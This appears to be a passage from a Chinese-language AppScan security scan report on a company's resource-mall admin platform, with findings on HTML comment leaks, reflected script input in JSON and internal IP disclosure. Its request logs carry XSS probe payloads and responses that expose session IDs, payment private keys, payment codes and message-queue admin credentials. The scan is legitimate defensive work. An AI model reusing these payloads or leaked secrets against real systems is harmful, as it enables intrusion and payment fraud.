         data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
         <1i>>
         <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
         data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
         <1i>>
         <a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
         data-theme="css/themes/modern.css" data-toggle="tooltip" title="墨绿"></a>
         </li
. . .
<script src="./js/getCommonConfig.js" type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/build/se.min.js" type="text/javascript"</pre>
charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/custom.js" type="text/javascript"
charset="utf-8"></script>-->
<!--<script src="http://cdn.bootcss.com/require.js/2.3.3/require.min.js"></script>-->
<script src="./js/style.js" type="text/javascript" charset="utf-8"></script>
. . .
. . .
. . .
```

问题 4 / 6 Toc

HTML 注释敏感信息泄露		
严重性:	参考	
CVSS 分数:	0.0	
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html	
实体:	<pre><script charset="</pre" src="http://sunui.scn.weilian.cn:12809/se/demo/js/custom.js" type="text/javascript"></th></tr><tr><th></th><th>. (Page)</th></tr><tr><th><u> </u></th><th>可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置</th></tr><tr><th>风险:</th><th>(5)</th></tr></tbody></table></script></pre>	

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
   <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    rel="stylesheet">
```

```
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
       <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
        <div class="inner">
         <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
          <div class="preloader-spinner hidden-lt-ie10"></div>
        </div>
    </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
        <div id="sidebar">
          <!-- Sidebar Content -->
         <div class="sidebar-content">
          <!-- Brand -->
         <div class="account-box">
          <img class="nav-user-photo"</pre>
          src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
          <span id="userName"></span>
          <input type="hidden" id="userId" value="">
         <span class="arrow bottom"></span>
          </div>
          <nav class="per_options">
          <!--个人设置-->
          <!-- You can also add the default color theme
          class="active">
          <a href="javascript:void(0)" class="themed-background-dark-default themed-border-</pre>
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
         -->
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"</pre>
          data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
         data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
          <115
          <a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
         data-theme="css/themes/modern.css" data-toggle="tool
. . .
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<!--<script src="http://sunui.scn.weilian.cn:12809/sys/getCommonConfig.js" type="text/javascript"
charset="utf-8"></script>-->
<script src="./js/getCommonConfig.js" type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/build/se.min.js" type="text/javascript"</pre>
charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/custom.js" type="text/javascript"
charset="utf-8"></script>-->
<!--<script src="http://cdn.bootcss.com/require.js/2.3.3/require.min.js"></script>-->
. . .
. . .
```

问题 5 / 6 Toc

HTML 注释	译敏感信息泄露
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	
大 神:	<pre><script (page)<="" chars="" e="" pre="" src="http://sunui.scn.weilian.cn:12809/sys/getCommonConfig.js" type="text/javascript"></th></tr><tr><th>风险:</th><th></th></tr><tr><th></th><th>e (Page)</th></tr></tbody></table></script></pre>

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
\verb|Access-Control-Allow-Headers: x-requested-with, content-type, sessionid|\\
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
   <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
   <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <link href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"</pre>
rel="stylesheet">
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
```

```
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
        <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
        <div class="inner">
          <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
          <div class="preloader-spinner hidden-lt-ie10"></div>
        </div>
    </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
        <div id="sidebar">
          <!-- Sidebar Content -->
          <div class="sidebar-content">
          <!-- Brand -->
          <div class="account-box">
          <img class="nav-user-photo"</pre>
          src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
          <span id="userName"></span>
          <input type="hidden" id="userId" value="">
          <span class="arrow bottom"></span>
          </div>
          <nav class="per options">
          <!--个人设置-->
          <!-- You can also add the default color theme
          class="active">
          <a href="javascript:void(0)" class="themed-background-dark-default themed-border-</pre>
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"</pre>
          data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
          data-theme="css/themes/ni
. . .
. . .
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/echarts.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/theme/macarons.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/theme/blue.js"</pre>
type="text/javascript" charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/sys/getCommonConfig.js" type="text/javascript"</pre>
charset="utf-8"></script>-->
<script src="./js/getCommonConfig.js" type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/build/se.min.js" type="text/javascript"</pre>
charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/custom.js" type="text/javascript"
charset="utf-8"></script>-->
. . .
. . .
```

问题 6 / 6 Toc

HTML 注释	泽敏感信息泄露
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	<div class="tab-pane active" id="home" role="tabpanel"> (Page)</div>
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	程序员在 Web 页面上留下调试信息
固定值:	除去 HTML 注释中的敏感信息

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <link href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"</pre>
rel="stylesheet">
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
       <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
```

```
<div class="inner">
         <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
          <div class="preloader-spinner hidden-lt-ie10"></div>
        </div>
    </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
        <div id="sidebar">
          <!-- Sidebar Content -->
          <div class="sidebar-content">
          <!-- Brand -->
          <div class="account-box">
          <img class="nav-user-photo"</pre>
          src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
          <span id="userName"></span>
          <input type="hidden" id="userId" value="">
          <span class="arrow bottom"></span>
          </div>
          <nav class="per_options">
          <!--个人设置-->
          <!-- You can also add the default color theme
          class="active">
          <a href="javascript:void(0)" class="themed-background-dark-default themed-border-</pre>
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
         <1i>>
         <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"
data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
          data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
          data-theme="css/themes/modern.css" data-toggle="tooltip" title="墨绿"></a>
          <1i>>
. . .
         <!-- Tab panes -->
          <div class="tab-content overSroller" id="main-content">
          <!--<div role="tabpanel" class="tab-pane active" id="home">
          <iframe id="page-content" style="padding: 0;" class="iframeClass" frameborder="no"</pre>
border="0" src="dashboard.html" style="height: 300px;"></iframe>
         </div>-->
          </div>
         <!-- END Page Content -->
. . .
. . .
. . .
```

JSON 中反映的未清理用户输入 3

TOC

问题 1 / 3 Toc

JSON 中质	反映的未清理用户输入
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	searchValue (Global)
RFM:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: — 至: %3Cscript%3Ealert%287446%29%3C%2Fscript%3E

推理: 测试结果似乎指示存在脆弱性,因为"全局验证"功能发现在响应中嵌入了脚本,该脚本可能是由先前的测试注入的。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=%3Cscri
pt%3Ealert%287446%29%3C%2Fscript%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:03 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 0,
                  "results": [
                  "showPageNumbers": [
                  "pageNo": 1,
                  "pageCount": 0,
                  "params": [
                                 "searchValue": " <script>alert(7446)</script>"
```

```
paginationFlag": false,
    "totalPageCount": 0,
    "nextIndex": 15,
    "page": 1,
    "previousIndex": 0
}

// "html": null
}
```

问题 2 / 3 Toc

JSON 中质	反映的未清理用户输入
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAdd
实体:	classcode (Global)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 04003 至: 04003%3Cscript%3Ealert%288562%29%3C%2Fscript%3E

推理: 测试结果似乎指示存在脆弱性,因为"全局验证"功能发现在响应中嵌入了脚本,该脚本可能是由先前的测试注入的。

测试请求和响应:

```
GET
%BB%BF%E6%A4%8D%E6%9C%8D%E5%8A%A1&level=2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:22:14 GMT
Content-Type: application/json
Transfer-Encoding: chunked
```

```
"data": [
                "enterpriseid": null,
                "classid": null,
                "classcode": "04003
                                         <script>alert(8562)</script>001",
                "classname": null,
                "level": 3,
                "endflag": null,
                "status": null,
                "parentcode": "04003
                                         <script>alert(8562)</script>",
                "imgurl": null,
                "seq": null,
                "parentclassname": null,
                "goodsclassChildList": null
"returnCode": 1,
              生成的资产编码",
"msg": "
"html": null
```

问题 3 / 3 Toc

JSON 中质	反映的未清理用户输入
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/getdetailList
实体:	searchValue (Global)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 1234 至: 1234%3Cscript%3Ealert%289497%29%3C%2Fscript%3E

推理: 测试结果似乎指示存在脆弱性,因为"全局验证"功能发现在响应中嵌入了脚本,该脚本可能是由先前的测试注入的。

测试请求和响应:

```
{\tt GET\ /goodsonoffdetail/getdetailList?}
 draw=2\&start=0\&length=15\&search\%5Bvalue\%5D=1234\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchValue=1234\&searchV
  4%3Cscript%3Ealert%289497%29%3C%2Fscript%3E HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Connection: keep-alive
 Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
 {\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
 Server: openresty
 {\tt Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS}
Access-Control-Allow-Origin: *
```

```
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:22:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                   "startIndex": 0,
                   "pageSize": 15,
                   "totalCount": 0,
"results": [
                    "showPageNumbers": [
                   ] ,
"pages": [
                   "pageNo": 1,
"pageCount": 1,
                    "params": [
                                   "totalPageCount": 0,
                   "nextIndex": 15,
"page": 1,
                   "previousIndex": 0
  "returnCode": 0,
 "msg": null,
"html": null
```

参 发现内部 IP 泄露模式 1

TO

问题 **1 / 1** Toc

发现内部I	P泄露模式
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/getModularPrefix
实体:	getModularPrefix (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	除去 Web 站点中的内部 IP 地址

变体-|1/3

差异:

推理: AppScan 在响应中发现了看似为内部 IP 地址的内容。

测试请求和响应:

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; sessionId=ff1d64918bd06bf341f084828da4d7d4; enterpriseId=55;
enterpriseCode=SUNEEE; account=setest02
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
. . .
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "GJ LOGISTICSSTATUS URL": "http:\/\/
                                              172.19.6.150:30106\/tools\/declartion\/accept",
 "OPG APPCODE YN": "SUNEEE78CFCC27",
 "mall goods host": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf_attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
"HG ORDER URL": "http:\/\/ 172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/getEmployeeList",
 "wf giftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "empURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/base\/EmployeeAPI\/qetEmployeeList",
 "wf order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/"
 "wf instockid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "wholesaleUrl": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "HG PAYMENT_URL": "http:\/\/
                                      172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC_UC_MQ_PASSWORD": "password",
 "OPG QUERY PAY METHODS URL": "http:\//pay.weilian.cn//payment//pay//getPaymentsType",
 "purchaseUrl": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
  comURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
 "baseDvURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ ORDER URL": "http:\/\/
 "GJ_ORDER_URL": "http:\/\/ 172.19.6.150:30106\/tools\/declartion\/accept",
"wf_attributeTurndepot": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "dictURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs mall confirm time": "7",
 "purchase web url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
. . .
. . .
 "se mall enterpriseid": "696",
 "savevrReturnUrl": "http:\/\/test.ecmp.weilian.cn\/erp\/",
 "pay url": "http:\/\/pay.weilian.cn\/payment\/pay",
 "bulletinAPI": "http:\//vr-base-rest-enterprise.mall.xt.weilian.cn\/bulletin\/queryAPI",
 "GJ PRODUCT URL": "http:\// 172.19.6.150:30106\/tools\/declartion\/accept",
 "ChinaPayAgent_se_private_key": "88501086f64f82fb492f34c7bd7a81d4",
"OPG_APPCODE_NJ": "SUNEEE794B52CD",
 "OPG SE PAYMENT CODE NJ": "7155913390a78f0ab63c5cf8d8acfd6b",
 "print outstock": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "iespToolsUrl": "http:\/\/test.tools.scn.weilian.cn\/",
 "SYNC UC MQ USERNAME": "admin",
 "HG LOGISTICSSTATUS URL": "http:\/\/
                                              172.19.6.150:30106\/tools\/declartion\/accept",
 "mall wholesale host": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "pri purchase": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ INVENTORY_URL": "http:\/\/
                                       172.19.6.150:30106\/tools\/declartion\/accept",
 "yn_mall_enterprisecode": "SUNEEE",
```

```
"mall file host": "http:\/\/cms.mall.xt.weilian.cn\/",
 "wf taxBill": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
"iespExpressUrl": "http:\/\/test.express.scn.weilian.cn\/\",
. . .
. . .
. . .
 "contractUrl": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "contractURL": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "mall base host": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent se payment code": "69116f8c16ba8ed4355f709a1b4317a0",
 "HG INVENTORY URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "mall contract host": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "zysc approval process url": "http:\/\/oa.suneee.weilian.cn\/",
 "wms-sale-topic": "vr-topic1",
 "goodsclassListUrl": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
. . .
 "wf contract": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "njxs_mall_erp_goods_host": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "OA GROUP": "zysc",
"njxs mall erp vipinfo host": "http:\//vr-base-rest-enterprise.mall.xt.weilian.cn//",
 "OA TOPIC": "userorginfo",
 "OPG URL": "http:\/\/pay.weilian.cn\/payment\/pay",
 "pri goodsclass": "http:\//vr-goods-rest-enterprise.mall.xt.weilian.cn/",
 "xp url": "http:\/\/xp.weilian.cn\/login.html",
 "goodsUrl": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
